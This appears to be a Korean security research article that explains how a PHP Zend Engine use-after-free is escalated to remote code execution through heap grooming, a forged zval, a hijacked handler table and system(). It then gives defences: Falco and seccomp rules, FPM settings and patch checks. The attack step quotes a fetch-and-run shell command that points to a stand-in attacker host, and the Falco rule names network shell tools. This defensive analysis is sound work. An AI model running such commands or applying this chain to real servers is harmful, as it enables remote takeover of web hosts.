vulnerabilities php2shell exploit

댕글링 포인터에서 system()까지: ZMM 힙 그루밍, Fake zval 위조와 RCE 체인

php2shell.run Research Lab •

댕글링 포인터에서 system()까지: ZMM 힙 그루밍, Fake zval 위조와 RCE 체인

<time datetime="2026-10-23">검증일: 2026년 10월 23일</time>

Use-After-Free(UAF)를 결정론적 원격 코드 실행(RCE)으로 승격하는 것은 Zend Engine 내부를 정밀하게 다루는 저수준 공학입니다. 애플리케이션 로직은 완전히 우회되며, 공격 대상은 Zend Memory Manager(ZMM) 의 할당자 레이아웃과 16바이트 zval 구조체입니다. 이 문서는 CVE-2026-109619와 CVE-2026-109618이 어떻게 하나의 익스플로잇 체인으로 결합되는지 아키텍처 관점에서 설명합니다. 방어 목적의 분석이며 실제 공격 코드는 포함하지 않습니다.


1. 16바이트 zval 메모리 정렬과 구조

PHP 7/8의 모든 변수는 struct _zval_struct로 표현됩니다. 64비트 환경에서 크기는 정확히 16바이트이며, 8바이트 정렬을 따릅니다.

 0x00               0x08           0x09      0x0A      0x0C            0x10
 ┌──────────────────┬──────────────┬─────────┬─────────┬──────────────┐
 │ zend_value       │ u1.type      │ flags   │ gc_info │ u2.extra     │
 │ (8바이트 포인터) │ (1바이트)    │ (1바이트)│ (2바이트)│ (4바이트)   │
 └────────┬─────────┴──────┬───────┴─────────┴─────────┴──────────────┘
          │                │
          │                └─► 0x08: IS_OBJECT 등 타입 필드 위조
          ▼
 ┌──────────────────────────────────────┐
 │ 힙 상의 Fake zend_object 구조체      │
 │ ┌──────────────────────────────────┐ │
 │ │ handlers (Fake vtable 포인터)    │ │
 │ └──────────────┬───────────────────┘ │
 └────────────────┼─────────────────────┘
                  ▼
 ┌──────────────────────────────────────┐
 │ Fake 함수 vtable (handlers)          │
 │ ┌──────────────────────────────────┐ │
 │ │ free_obj / read_property / call  │ │
 │ │ → libc system() 주소             │ │
 │ └──────────────────────────────────┘ │
 └──────────────────────────────────────┘
struct _zval_struct {
    zend_value value;        /* 8바이트: zend_string*, zend_object* 등 */
    union {
        struct {
            uint8_t type;        /* IS_NULL, IS_LONG, IS_OBJECT ... */
            uint8_t type_flags;
            uint8_t u1_low;
            uint8_t u1_high;
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t next;       /* 해시 충돌 체인 등 */
        uint32_t extra;
    } u2;
};

공격자가 노리는 것은 value 포인터와 u1.type 두 필드입니다. value를 자신이 스프레이한 가짜 zend_object 주소로, u1.type을 IS_OBJECT로 설정하면, Zend VM은 이후 객체 핸들러를 통해 함수 포인터를 역참조합니다.


2. 1단계: 힙 그루밍과 스프레이

UAF 쓰기만으로는 신뢰할 수 있는 익스플로잇이 되지 않습니다. 해제된 슬롯을 공격자 데이터로 즉시 재점유해야 합니다. ZMM은 크기 클래스별 Bin을 사용하며, 해제된 청크는 LIFO로 재사용됩니다.

  1. 단편화 배출(Fragmentation Drainage): 정확한 크기의 HTTP 헤더/본문 패딩을 반복 전송하여 Bin에 존재하는 기존 구멍을 소진합니다.
  2. 플러딩(Heap Spraying): 동일한 구조의 멀티파트 요청을 동시에 다수 전송하여 새 청크를 대량 할당합니다.
  3. Bin 재사용: 직후 해제된 슬롯이 공격자의 문자열 또는 세션 값에 그대로 반환됩니다.

PHP-FPM의 경우 워커가 fork()로 생성되므로, 부모 프로세스의 힙 레이아웃이 자식에게 상속됩니다. 공격자는 이 결정성을 이용해 Bin 상태를 예측합니다.

# 방어 관점: 워커당 동시 연결과 요청 빈도 제한
grep -E '^(pm\.|listen\.backlog)' /etc/php/8.3/fpm/pool.d/www.conf
pm = dynamic
pm.max_children = 24
pm.start_servers = 4
pm.min_spare_servers = 2
pm.max_spare_servers = 8
pm.max_requests = 500
request_terminate_timeout = 30s

pm.max_requests를 낮추면 워커 재활용 주기가 짧아져 장기 힙 그루밍이 어려워집니다. 무중단 배포 환경에서는 워커 재시작이 세션 저장소와 opcache에 미치는 영향을 함께 고려해야 합니다.


3. 2단계: Fake zval 위조

해제된 16바이트 슬롯에 다음 필드를 배치합니다.

오프셋  크기   필드               공격자 설정값
0x00    8      value.ptr          → Fake zend_object 주소
0x08    1      u1.type            → IS_OBJECT (0x08)
0x09    1      u1.type_flags      → 0x00
0x0A    2      u1.extra           → 0x0000
0x0C    4      u2.next/extra      → 0x00000000

Zend VM이 이 값을 객체로 취급하면 zend_object->handlers를 역참조합니다. 핸들러 테이블은 free_obj, read_property, call, get_gc 등 함수 포인터 배열입니다. 공격자는 이 테이블 자체를 위조하거나, 기존 테이블 엔트리를 system() 주소로 바꿉니다.


4. 3단계: ASLR 우회와 제어 흐름 탈취

현대 리눅스는 PIE와 ASLR을 기본 적용합니다. system()의 고정 주소를 하드코딩하면 즉시 SIGSEGV가 발생합니다. 공격 체인은 두 가지 접근을 병행합니다.

4.1 정보 유출 (Info Leak)

Fake IS_STRING zval을 만들어 내부 val 포인터가 Zend 함수 테이블을 가리키게 한 뒤, 해당 변수를 읽어 base 포인터를 노출시킵니다. PHP 오류 메시지, var_dump, 직렬화 응답 등이 유출 채널이 될 수 있습니다. 이 취약점군에서는 오류 처리 경로의 미세한 차이가 주소 노출로 이어집니다.

4.2 동적 해석

libc_base      = leaked_ptr - known_offset
system_addr    = libc_base + system_offset

오프셋은 배포판·libc 버전마다 다르므로, 공격자는 Ubuntu 22.04/24.04, Debian 12, RHEL 9 등 주요 조합의 오프셋 테이블을 미리 준비합니다. 컨테이너 이미지의 libc 버전이 공개되어 있으면 이 단계가 더 쉬워집니다.

4.3 system() 호출

Zend VM이 객체 정리 루틴을 실행할 때:

obj->handlers->free_obj(obj);

x86_64에서 첫 인자는 RDI로 전달됩니다. obj 포인터가 가리키는 메모리에 공격자 명령 문자열(예: curl -s http://attacker.example/p | sh)이 있으면, system()은 이를 셸 명령으로 해석합니다. 이 시점은 사용자 PHP 코드 실행 여부와 무관하며, 웹 서버 권한으로 프로세스가 생성됩니다.


5. 체인을 끊는 방어 설계

5.1 엔진 레벨

session.upload_progress.enabled = Off

5.2 런타임 레벨

# system()/execve 계열 호출을 관측하는 Falco 규칙 (개념)
- rule: PHP FPM Spawns Shell
  desc: php-fpm 워커가 셸 또는 다운로더를 실행
  condition: >
    spawned_process and
    proc.pname in (php-fpm, php-fpm8.3, php-fpm8.2) and
    proc.name in (sh, bash, dash, curl, wget, nc, ncat)
  output: >
    "PHP-FPM child spawned %proc.name (parent=%proc.pname pid=%proc.pid)"
  priority: CRITICAL

5.3 커널 레벨

# seccomp 프로파일에서 execve 차단 (Docker 예시)
docker run --security-opt seccomp=/etc/docker/seccomp-php.json ...
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    { "names": ["execve", "execveat"], "action": "SCMP_ACT_ERRNO" }
  ]
}

PHP-FPM이 정상적으로 외부 프로세스를 실행하지 않는 워크로드라면, execve 차단은 RCE 체인의 마지막 단계를 수학적으로 불가능하게 만듭니다. 다만 이미지 처리(ImageMagick), PDF 생성, 메일 전송 등 exec에 의존하는 기능은 사전에 식별해야 합니다.

5.4 배포판 패치 상태 확인

# Debian/Ubuntu
dpkg -l | grep -E '^ii\s+php'
apt-cache policy php8.3-fpm

# RHEL 계열
rpm -qa | grep -i '^php'
dnf info php-fpm

# 공식 최소 버전: 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35

6. 결론

이 체인의 위험성은 취약점 자체가 메모리 관리자의 신뢰 경계를 무너뜨린다는 데 있습니다. 힙 그루밍 → Fake zval → vtable 탈취 → system()이라는 고전적 단계가 PHP의 기본 기능(session.upload_progress)만으로 성립합니다. 방어 우선순위는 다음과 같습니다.

  1. 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 이상으로 업그레이드
  2. 불가능하면 session.upload_progress.enabled=Off 즉시 적용
  3. Falco/Seccomp로 execve 및 셸 생성 차단
  4. 워커 재시작 주기 단축과 힙 레이아웃 예측성 완화

본 분석은 방어 연구 목적이며, 실제 공격 재현 코드는 의도적으로 생략했습니다.